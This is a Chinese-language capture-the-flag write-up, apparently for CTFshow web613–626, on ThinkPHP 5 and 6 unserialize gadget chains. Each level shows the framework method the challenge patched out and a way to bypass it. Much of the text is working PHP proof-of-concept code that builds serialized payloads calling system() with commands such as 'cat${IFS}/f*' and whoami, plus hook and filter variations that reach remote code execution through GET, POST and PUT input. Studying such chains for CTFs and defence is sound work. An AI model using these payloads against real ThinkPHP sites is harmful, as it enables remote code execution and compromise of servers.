       #$result           = $this->param($this->config['var_ajax']) ? true : $result;
       $this->mergeParam = false;
       return $result;
   }

../thinkphp/library/think/Model.php

public function __call($method, $args)
{
    if ('withattr' == strtolower($method)) {
        die("此链不通");
 return call_user_func_array([$this, 'withAttribute'], $args);
    }

    return call_user_func_array([$this->db(), $method], $args);
}

../application/index/controller/Index.php

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
	if(!isset($_POST['data'])){
	    die("unserialize post data");
	}

	if(preg_match('/withattr/i',$_POST['data'])){
               die("此链不通");
        }

    	if(isset($_POST['data'])){
    		@unserialize($_POST['data']);
    	}
	return "unserialize post->data";
    }
}

web613(禁pjax)

上一条链子打不通了,继续全局找找param

image-20240311164624315

那么我们要做的就是让

$this->hook = ['visible'=>[$this,"__get"]];

然后get传参命令执行即可

poc

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["0w0"=>["calc.exe","calc"]];
        $this->data = ["0w0"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $get = [];
    function __construct(){
        $this->filter = "system";
        $this->hook = ["visible"=>[$this,"__get"]];
    }
}


namespace think\process\pipes;

use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
?>

新增的waf:

../thinkphp/library/think/Request.php

   /**
    * 当前是否Pjax请求
    * @access public
    * @param  bool $pjax  true 获取原始pjax请求
    * @return bool
    */
   public function isPjax($pjax = false)
   {
       $result = !is_null($this->server('HTTP_X_PJAX')) ? true : false;

       if (true === $pjax) {
           return $result;
       }
echo "此链不通";
       #$result           = $this->param($this->config['var_pjax']) ? true : $result;
       $this->mergeParam = false;
       return $result;
   }

web614(禁write)

上一题的poc秒了

新增waf:

../thinkphp/library/think/template/driver/File.php

   /**
    * 写入编译缓存
    * @access public
    * @param  string $cacheFile 缓存的文件名
    * @param  string $content 缓存的内容
    * @return void|array
    */
   public function write($cacheFile, $content)
   {
       // 检测模板目录
       $dir = dirname($cacheFile);

       if (!is_dir($dir)) {
           mkdir($dir, 0755, true);
       }
die("此链不通");
       // 生成模板缓存文件
       if (false === file_put_contents($cacheFile, $content)) {
           throw new Exception('cache write error:' . $cacheFile, 11602);
       }
   }

看起来是ban了利用缓存写马的方法


web615(禁read)

上一题的poc秒了

新增waf:

../thinkphp/library/think/template/driver/File.php

   /**
    * 读取编译编译
    * @access public
    * @param  string  $cacheFile 缓存的文件名
    * @param  array   $vars 变量数组
    * @return void
    */
   public function read($cacheFile, $vars = [])
   {
       $this->cacheFile = $cacheFile;
       die("此链不通");
if (!empty($vars) && is_array($vars)) {
           // 模板阵列变量分解成为独立变量
           extract($vars, EXTR_OVERWRITE);
       }

       //载入模版缓存文件
       include $this->cacheFile;
   }

web616(禁display)

上题poc秒了

新waf:

../thinkphp/library/think/view/driver/Php.php

   /**
    * 渲染模板内容
    * @access public
    * @param  string    $content 模板内容
    * @param  array     $data 模板变量
    * @return void
    */
   public function display($content, $data = [])
   {
       $this->content = $content;
die("此链不通");
       extract($data, EXTR_OVERWRITE);
       eval('?>' . $this->content);
   }

感觉像是之前的show方法命令执行?


web617(禁fetch)

上题poc秒了

新waf:

../thinkphp/library/think/view/driver/Php.php

   /**
    * 渲染模板文件
    * @access public
    * @param  string    $template 模板文件
    * @param  array     $data 模板变量
    * @return void
    */
   public function fetch($template, $data = [])
   {
       die("此链不通");
if ('' == pathinfo($template, PATHINFO_EXTENSION)) {
           // 获取模板文件名
           $template = $this->parseTemplate($template);
       }

       // 模板不存在 抛出异常
       if (!is_file($template)) {
           throw new TemplateNotFoundException('template not exists:' . $template, $template);
       }

       $this->template = $template;

       // 记录视图信息
       $this->app
           ->log('[ VIEW ] ' . $template . ' [ ' . var_export(array_keys($data), true) . ' ]');

       extract($data, EXTR_OVERWRITE);
       include $this->template;
   }

估计还是show和变量覆盖的rce


web618(禁invokeFunction)

上题poc秒了

新waf:

../thinkphp/library/think/Container.php

   /**
    * 执行函数或者闭包方法 支持参数调用
    * @access public
    * @param  mixed  $function 函数或者闭包
    * @param  array  $vars     参数
    * @return mixed
    */
   public function invokeFunction($function, $vars = [])
   {	
die("此链不通");
       try {
           $reflect = new ReflectionFunction($function);

           $args = $this->bindParams($reflect, $vars);

           return call_user_func_array($function, $args);
       } catch (ReflectionException $e) {
           throw new Exception('function not exists: ' . $function . '()');
       }
   }

是上面未开启强制路由rce的反射方法


web619(禁each)

上题poc又秒了。。

新waf:

../thinkphp/library/think/Collection.php

   /**
    * 给每个元素执行个回调
    *
    * @access public
    * @param  callable $callback
    * @return $this
    */
   public function each(callable $callback)
   {
       die("此链不通");
foreach ($this->items as $key => $item) {
           $result = $callback($item, $key);

           if (false === $result) {
               break;
           } elseif (!is_object($item)) {
               $this->items[$key] = $result;
           }
       }

       return $this;
   }

不懂


web620(禁map)

poc一穿八了

新waf:

../thinkphp/library/think/Collection.php

   /**
    * 用回调函数处理数组中的元素
    * @access public
    * @param  callable|null $callback
    * @return static
    */
   public function map(callable $callback)
   {
       die("此链不通");
return new static(array_map($callback, $this->items));
   }

不懂


web621(禁filter)

一穿九

新waf:

   /**
    * 用回调函数过滤数组中的元素
    * @access public
    * @param  callable|null $callback
    * @return static
    */
   public function filter(callable $callback = null)
   {
       die("此链不通");
if ($callback) {
           return new static(array_filter($this->items, $callback));
       }

       return new static(array_filter($this->items));
   }

web622(禁reduce)

一穿十!

新waf:

../thinkphp/library/think/Collection.php

   /**
    * 通过使用用户自定义函数,以字符串返回数组
    *
    * @access public
    * @param  callable $callback
    * @param  mixed    $initial
    * @return mixed
    */
   public function reduce(callable $callback, $initial = null)
   {
       die("此链不通");
return array_reduce($this->items, $callback, $initial);
   }

input链

前面那个通杀的poc是基于param方法的

现在我们直接利用input方法,即从__call直接进到input

全局搜input

image-20240311173839714

则poc改成

$this->route = ['0w0'=>'whoami'];
$this->hook = ['visible'=>[$this,"route"]];

image-20240311174131184

poc改成

$this->get = ['0w0'=>'whoami'];
$this->hook = ['visible'=>[$this,"get"]];

image-20240311174402345

poc改成

$this->hook = ['visible'=>[$this,"post"]];

然后发post请求rce

image-20240311174555442

$this->hook = ['visible'=>[$this,"put"]];

put请求

image-20240311174620848

$this->hook = ['visible'=>[$this,"request"]];

get或者post都可以

说白了就是请求方法不同


TP6

web623(TP6反序列化)

报错显示v6.0.8,但是可以用6.0.1的链打掉

poc:

<?php
namespace think\model\concern;
trait Attribute
{
    private $data = ["key"=>"cat\${IFS}/f*"];
    private $withAttr = ["key"=>"system"];
}
namespace think;
abstract class Model
{
    use model\concern\Attribute;
    private $lazySave = true;
    protected $withEvent = false;
    private $exists = true;
    private $force = true;
    protected $name;
    public function __construct($obj=""){
        $this->name=$obj;
    }
}
namespace think\model;
use think\Model;
class Pivot extends Model
{}
$a=new Pivot();
$b=new Pivot($a);
echo urlencode(serialize($b));

web624(6.0.12链)

可以用6.0.12的链子打掉

poc:

<?php

namespace think\model\concern;

trait Attribute
{
    private $data = ["key" => ["key1" => "cat\${IFS}/f*"]];
    private $withAttr = ["key"=>["key1"=>"system"]];
    protected $json = ["key"];
}
namespace think;

abstract class Model
{
    use model\concern\Attribute;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $table;
    protected $jsonAssoc;
    function __construct($obj = '')
    {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $obj;
        $this->jsonAssoc = true;
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));

waf:

../vendor/topthink/think-orm/src/model/concern/Attribute.php

果然是这里

      if (isset($this->withAttr[$fieldName])) {
          if ($relation) {
              $value = $this->getRelationValue($relation);
          }

          if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
              $value = $this->getJsonValue($fieldName, $value);
          } else {
              $closure = $this->withAttr[$fieldName];
die("此链不通");
              $value   = $closure($value, $this->data);
          }
      }

web625(禁display)

上一题的poc秒了

waf:

../vendor/topthink/framework/src/think/view/driver/Php.php

   public function display(string $content, array $data = []): void
   {
       $this->content = $content;
die("此链不通");
       extract($data, EXTR_OVERWRITE);
       eval('?>' . $this->content);
   }

web626(禁call)

上一题poc秒了

waf:

../vendor/topthink/framework/src/think/Validate.php

   public function __call($method, $args)
   {
die("此链不通");
       if ('is' == strtolower(substr($method, 0, 2))) {
           $method = substr($method, 2);
       }

       array_push($args, lcfirst($method));

       return call_user_func_array([$this, 'is'], $args);
   }